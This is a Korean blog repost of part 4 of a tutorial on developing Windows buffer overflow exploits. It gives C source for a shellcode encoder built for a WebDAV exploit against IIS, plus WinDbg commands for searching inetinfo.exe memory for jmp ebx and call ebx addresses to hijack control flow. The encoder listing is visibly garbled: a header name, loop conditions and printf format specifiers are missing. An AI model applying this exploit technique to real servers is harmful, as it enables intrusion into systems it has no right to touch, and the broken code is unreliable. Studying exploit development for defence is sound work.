수안이의 컴퓨터 연구실

  • Mainpage
  • About Me
  • Tags
  • Metapage
  • Notice
  • Location
  • Keywords
  • Guestbook
  • Admin
  • Write an Article
  • Total | 1694379
  • Today | 124
  • Yesterday | 606

Security/Overflow2005/09/01 01:39

윈도우 버퍼 오버플로우 익스플로잇 개발 - 4

오정욱 (mat@panicsecurity.org)

셸 코드 인코더
일반적인 셸 코드에는 해당 언어 팩의 유니코드로 유효하지 않은 코드들이 들어갈 수 있다. <리스트 2>는 이러한 유니코드들을 ASCII 형태로 변환하는 프로그램이다. 열두 번째 줄에서는 웹이나 윈도우 파일 시스템에서 사용하지 못하는 문자들을 걸러내고, 50~52번째 줄에서는 1의 경우 2로 나누면 0이 되므로 유니코드 문자를 사용해 특별하게 처리한다.

<리스트 2> 셸 코드 인코더
1 /*
2 mat@monkey.org
3 mat@panicsecurity.org
4
5 Shellcode encoder for webdav exploit.
6 */
7 #include
8
9
10 int is_special(unsigned char num1)
11 {
12 return (num1==0x3a || num1==0x26 || num1==0x3f || num1==0x25 || num1==0x23 || num1==0x20 || num1==0xa || num1==0xd || num1==0x2f || num1==0x2b || num1==0xb || num1==0x5c);
13 }
14
15
16 void main()
17 {
18 int debug=0;
19 int rc;
20 unsigned char buffer[512];
21 while(rc=read(0,buffer,sizeof(buffer)))
22 {
23 int i;
24 for(i=0;i 25 {
26 unsigned int num1=(buffer[i]/2)&0xff;
27 unsigned int num2=(buffer[i]/2)&0xff;
28
29 if(buffer[i]%2==1)
30 {
31 num2++;
32 }
33 while(is_special(num1) || is_special(num2))
34 {
35 num1++;
36 num2--;
37 if(num2==0)
38 {
39 printf("error! ");
40 }
41 }
42 if(buffer[i]==-1)//0xff)
43 {
44 num2=0x2a;
45 if(debug)
46 {
47 printf(" 00( 0): ",buffer[i]&0xff,buffer[i]);
48 }
49 printf("%u11d5\x00",num2);
50 }else if(buffer[i]==1)
51 {
52 printf("%u0411%u00f0");
53 }else{
54 if(debug)
55 {
56 printf(" 00( 0): ",buffer[i]&0xff,buffer[i]);
57 }
58 printf("\x00\x00",num1,num2);
59 }
60 }
61 }
62 }



jmp, call ebx 찾기
ebx에 우리가 보낸 버퍼의 주소가 들어가는 것을 확인했다. 이 주소로 제어권을 넘기기 위해 jmp ebx나 call ebx 코드를 메모리에서 찾아낸다. 이 주소들도 합당한 유니코드인지 판별한 후 사용해야 한다.


<화면 3> inetinfo.exe선택



<화면 4> 어태치 성공



<화면 5> jmp ebx 찾기



<화면 6> call ebx 찾기



<화면 7> 결과 복사


inetinfo의 jmp ebx, call ebx 주소 값 찾기
① WinDbg를 설치하고 실행한다.
② 이제 프로세스에 어태치해야 한다. 메뉴에서 선택하거나 키를 눌러 프로세스 리스트에서 inetinfo.exe를 찾아 선택한다(<화면 3>). 어태치가 성공하면 브레이크가 걸린 상태로 시작된다(<화면 4>).
③ jmp ebx, call ebx 주소를 찾아보자. 다음과 같은 명령을 내려 0xff 0xe3(jmp ebx)를 찾는다. <화면 5>와 같이 결과가 나올 것이다. 0x10000000~0xe0000000까지 모두 시도해 본다.

s 10000000 L fffffff 0xff 0xe3

④ 다음과 같은 명령을 내려 0xff 0xd3(call ebx)를 찾는다. 마찬가지로 <화면 6>과 같이 결과가 나올 것이다. 0x10000000~0xe0000000까지 모두 시도해 본다.

s 10000000 L fffffff 0xff 0xd3

⑤ 결과를 복사해(<화면 7>) 메모장 등에 복사하고 저장한다.
"Overflow" 카테고리의 다른 글
  • Frame Pointer Overwriting (0)2006/11/24
  • 버퍼 오버 플로우 (0)2006/11/24
  • 윈도우 버퍼 오버플로우 익스플로잇 개발 - 4 (0)2005/09/01
  • 윈도우 버퍼 오버플로우 익스플로잇 개발 - 3 (0)2005/09/01
  • 윈도우 버퍼 오버플로우 익스플로잇 개발 - 2 (0)2005/09/01
2005/09/01 01:39 2005/09/01 01:39
Posted by webdizen
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/1396

Leave your greetings.

[로그인][오픈아이디란?]

«Prev  1 ... 1750 1751 1752 1753 1754 1755 1756 1757 1758 ... 3009  Next»

RSS HanRSS
Blog Image
webdizen
이곳은 컴퓨터에 대해 연구하고, 공유하고, 소통하기 위한 연구실입니다. 개인적으로는 OLAP, Data Mining, Semantic Web, Data Modeling에 대해서 연구하고 있습니다.

Categories

전체 (3009)
Webdizen (141)
Life (6)
Diary (16)
Blog (9)
IDEA (2)
Travel (10)
Book (16)
Photo (7)
Movie (8)
Music (14)
Leisure Sports (10)
Funny (6)
Hardware (121)
Software (120)
Windows (5)
Unix & Linux (120)
Installation (5)
Kernel (10)
System (34)
Develop (22)
X-Window (0)
Applicaton (31)
Security (4)
Framework (2)
Hadoop (2)
Programming (804)
Algorithm & Data Structure (1)
Assembly (38)
UNIX/Linux C (95)
C++ (128)
STL (4)
Java (38)
Win32 API (92)
ATL/COM (44)
MFC (151)
.NET (26)
WCF/WPF (4)
C# (28)
Network Programming (17)
Database Programming (12)
OpenGL / DirectX (13)
Multimedia Programming (0)
Game Programming (21)
Parallel Distributed Progra... (0)
Reverse Engineering (0)
Debugging (9)
Python (1)
Ruby (1)
Ruby on Rails (1)
QT (4)
GTK (0)
JSP (0)
PHP (6)
ASP.NET (6)
ASP (2)
Development (28)
Useful Library (2)
Data Modeling (0)
Database (105)
Oracle (4)
MSSQL (41)
MySQL (2)
Data Warehouse (2)
Data Mining (4)
Network (66)
Web (79)
DHTML (4)
XHTML (1)
Javascript (1)
CSS (1)
AJAX (9)
XML (11)
Flex (1)
Silverlight (3)
Security (91)
DoS (1)
Kernel (10)
Scanning (3)
Sniffing (0)
Spoofing (4)
Overflow (28)
Web (11)
Shell (10)
Format String (14)
Window (2)
Embedded (70)
Multimedia (27)
Mobile (14)
Graphic (24)
Management (633)
Knowledge (581)
Hadoop (0)

Notice

  • 메타 블로그 사이트에 등록
  • 새해 맞이 블로그의 변화
  • 블로그 명칭 변경
  • 도메인(www.webdizen.net) 구...
  • TEXTCUBE 1.6.1로 업그레이드...

Tags

  • SQL
  • grep
  • TPC-D
  • 국지원
  • 확장성
  • 뉴스리더
  • 인간
  • 알고리즘
  • shared section
  • 타이틀 윈도우
  • JDBC
  • Testing
  • ADODB
  • 이벤트 모델링
  • nmap
  • Volatile
  • 웹 캘린더
  • ATOM
  • Thread 종료
  • 보안백업

Recent Articles

  • 트위터(Twitter)의 시작!.
  • 청년 리더의 조건.
  • 애플의 타블렛 PC - 아이패드....
  • 미래의 인터페이스 - 육감 기....
  • 기초발성법 동영상 강좌.

Recent Comments

  • 학교 과제물중 쓰레드에 대하....
    장진혁 03/17
  • 관리자만 볼 수 있는 댓글입....
    비밀방문자 03/12
  • 상대방의 이야기를 열심히 경....
    DoNuts 03/03
  • Lots of students know techn....
    Bobbi35Shannon 02/25
  • 좋은글 잘 보고 갑니다..
    Und_hacker 01/08

Recent Trackbacks

  • printf,scanf를 이용한 형식....
    yundream의 프로그래밍 이야기 03/10
  • 파일 열기/저장하기 CFileDialog.
    은마군의 나태블록 2009
  • World IT Show 2008.
    상우 :: Oranzie's BLOG 2008
  • cvs서버 설치하기.
    3인3색 2008
  • 속속 공개되는 Google Chart....
    PHP와 Web 2.0 2007

Archive

  • 2010/02 (1)
  • 2010/01 (6)
  • 2009/12 (5)
  • 2009/09 (3)
  • 2009/08 (1)

Calendar

«   2010/03   »
일 월 화 수 목 금 토
  1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31      

Bookmarks

    • Administration
      • IIS.NET
      • NTFAQ
      • OS의 모든 것
      • 리눅스포털
    • Database
      • SQL Server Central
      • SQL Team
    • Development
      • .NET Heaven
      • ASP Alliance
      • ASP.NET 2.0
      • Bullog.net
      • C# Corner
      • C++ (C PlusPlus.com)
      • C++ Reference
      • CodeGuru
      • CodePlex
      • DebugLab
      • Dev Articles
      • Devpia
      • DotNet Junkies
      • DotNet Zone
      • Driver Online
      • GOSU.NET
      • HOONS 닷넷
      • Joinc 팀블로그
      • KOSR
      • MSDN Home Page
      • OSR Online
      • Sky.ph - 개발자 커뮤니...
      • TAEYO.NET
      • The Code Project
      • WindowsClient.net
      • 김상욱의 개발자 Side
      • 조인시 위키
    • Human Networks
      • belief21c's e-space
      • I think I can
      • Invisible Rover's Blog :D
      • Rodman®
      • ■ Feel So Good~! ■
      • 까만 나비
      • 나를 가꾸는 시간.
      • 나만의 즐거움~~!
      • 단녕
      • 상우 :: Oranzie's BLOG
    • Information Technology
      • Microsoft TechNet
      • 지디넷코리아 - 글로벌...
    • Security
      • FoundStone
      • milw0rm
      • NewOrder
      • OpenRCE
      • Phrack.org
      • Reverse Engineering b1...
      • Reverse Engineering Team
      • RootKit
      • SecurityFocus
      • SecurityXploded by Nag...
      • Wow Hacker
      • Zone-H
Textcube
Louice Studio Inc.
Powered by Textcube. Original designed by Tistory.